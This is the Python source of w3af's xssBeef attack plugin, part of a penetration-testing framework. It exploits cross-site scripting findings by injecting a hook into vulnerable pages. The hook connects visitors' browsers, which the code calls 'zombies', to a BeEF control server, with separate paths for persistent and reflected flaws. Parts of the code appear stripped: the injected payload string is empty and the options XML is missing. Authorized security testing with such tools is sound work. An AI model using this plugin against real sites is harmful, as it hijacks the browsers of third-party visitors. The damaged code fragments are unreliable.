''' xssBeef.py Copyright 2006 Andres Riancho This file is part of w3af, w3af.sourceforge.net . w3af is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. w3af is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with w3af; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA ''' from core.data.fuzzer.fuzzer import * import core.controllers.outputManager as om from core.controllers.basePlugin.baseAttackPlugin import baseAttackPlugin import core.data.kb.knowledgeBase as kb import core.data.parsers.urlParser as urlParser from core.controllers.w3afException import w3afException class xssBeef(baseAttackPlugin): ''' This plugin exploits XSS vulnerabilities using beEF ( www.bindshell.net/tools/beef/ ) . @author: Andres Riancho ( andres.riancho@gmail.com ) ''' ''' Note: This plugin is only a "caller" to beef. a) You have to install beef b) After running this plugin you have to run a browser and connect to beef using the URL provided by w3af. c) The proxy feature of beef was implemented by Andres Riancho ''' def __init__(self): baseAttackPlugin.__init__(self) # User configured variables self._beefPasswd = '' self._beefURL = 'http://localhost/beef/' # without the hook dir ! # A message to the user self._message = 'You can start interacting with the beEF server at: ' + urlParser.urlJoin( self._beefURL, 'ui/' ) def fastExploit(self, url, method, data ): ''' Exploits a web app with osCommanding vuln. @parameter url: A string containing the Url to exploit ( http://somehost.com/foo.php ) @parameter method: A string containing the method to send the data ( post / get ) @parameter data: A string containing data to send with a mark that defines which is the vulnerable parameter ( aa=notMe&bb=almost&cc=[VULNERABLE] ) ''' return self._shell def getType(self): return 'proxy' def canExploit(self ): ''' Searches the kb for vulnerabilities that the plugin can exploit. @return: True if plugin knows how to exploit a found vuln. ''' xssVulns = kb.kb.getData( 'xss' , 'xss' ) if len( xssVulns ) == 0: return False else: return True def exploit(self ): ''' Exploits a remoteFileInclude vuln that was found and stored in the kb. @return: True if the shell is working and the user can start calling rexec ''' om.out.information( 'Browser Exploitation Framework - by Wade Alcorn http://www.bindshell.net' ) xssVulns = kb.kb.getData( 'xss' , 'xss' ) if not self.canExploit(): raise w3afException('No cross site scripting vulnerabilities have been found.') # First I'll configure the beef server, if this is unsuccessfull, then nothing else should be done! # POST http://localhost/beef/submit_config.php?config=http://localhost/beef/&passwd=beEFconfigPass HTTP/1.1 configURL = urlParser.urlJoin( self._beefURL , 'submit_config.php' ) configURI = configURL + '?config=' + self._beefURL + '&passwd=' + self._beefPasswd response = self._urlOpener.GET( configURI ) if response.getBody().count('BeEF Successfuly Configured'): # everything ok! pass elif response.getBody().count('Incorrect beEF password, please try again.'): raise w3afException('Incorrect password for beEF configuration.') else: raise w3afException('BeEF installation not found.') # Try to get a proxy using one of the vulns for vuln in xssVulns: om.out.information('Trying to exploit using vulnerability with id: ' + str( vuln.getId() ) ) if self._generateProxy(vuln): # A proxy was generated, I only need one point of xss om.out.information('Successfully exploited XSS using vulnerability with id: ' + str( vuln.getId() ) ) return True else: om.out.information('Failed to exploit using vulnerability with id: ' + str( vuln.getId() ) ) return False def _generateProxy( self, vuln ): ''' @parameter vuln: The vuln to exploit. @return: True is a proxy could be established using the vuln parameter. ''' # Check if we really can contact the remote beef install if self._verifyVuln( vuln ): self._vuln = vuln return True else: return False def _verifyVuln( self, vuln ): ''' This command verifies a vuln. This is really hard work! :P @return : True if vuln can be exploited. ''' # Internal note: # toInclude = '' if vuln['escapesDouble'] and not vuln['escapesSingle']: toInclude = toInclude.replace('"', "'") if not ( vuln['escapesSingle'] and vuln['escapesDouble'] ) and not vuln['escapesLtGt']: # We are almost there... if 'permanent' in vuln.keys(): # Its a permanent / persistant XSS, nice ! =) m = vuln['oldMutant'] m.setModValue( toInclude ) # Write the XSS response = self._sendMutant( m, analyze=False ) # Read it ! response = self._sendMutant( vuln.getMutant(), analyze=False ) if response.getBody().count( toInclude ): om.out.console('The exploited cross site scripting is of type permanent. To be activated, the zombies should navigate to: ' + vuln.getMutant().getURI() ) om.out.console( self._message ) return True else: return False else: # Its a simple xss if vuln.getMethod() == 'GET': # I'll be able to exploit this one. m = vuln.getMutant() m.setModValue( toInclude ) response = self._sendMutant( m, analyze=False ) if response.getBody().count( toInclude ): om.out.console('To be activated, the zombies should navigate to: ' + m.getURI() ) om.out.console( self._message ) return True else: return False def rexec( self, command ): ''' Nothing to do here. ''' return self._message + ' \nType exit to continue using w3af.' def getOptionsXML(self): ''' This method returns a XML containing the Options that the plugin has. Using this XML the framework will build a window, a menu, or some other input method to retrieve the info from the user. The XML has to validate against the xml schema file located at : w3af/core/ui/userInterface.dtd @return: XML with the plugin options. ''' return '\ \ \ \ \ ' def setOptions( self, optionsMap ): ''' This method sets all the options that are configured using the user interface generated by the framework using the result of getOptionsXML(). @parameter optionsMap: A map with the options for the plugin. @return: No value is returned. ''' self._beefURL = optionsMap['beefURL'] self._beefPasswd = optionsMap['beefPasswd'] if self._beefPasswd == '': raise w3afException('You have to provide a beEF password to use this plugin.') def getPluginDeps( self ): ''' @return: A list with the names of the plugins that should be runned before the current one. ''' return [] def getRootProbability( self ): ''' @return: This method returns the probability of getting a root shell using this attack plugin. This is used by the "exploit *" function to order the plugins and first try to exploit the more critical ones. This method should return 0 for an exploit that will never return a root shell, and 1 for an exploit that WILL ALWAYS return a root shell. ''' return 0.0 def getLongDesc( self ): ''' @return: A DETAILED description of the plugin functions and features. ''' return ''' This plugin is an interface to aid with the exploitation of XSS vulnerabilities using beEF. Two configurable parameters exist: - beefURL - beefPasswd '''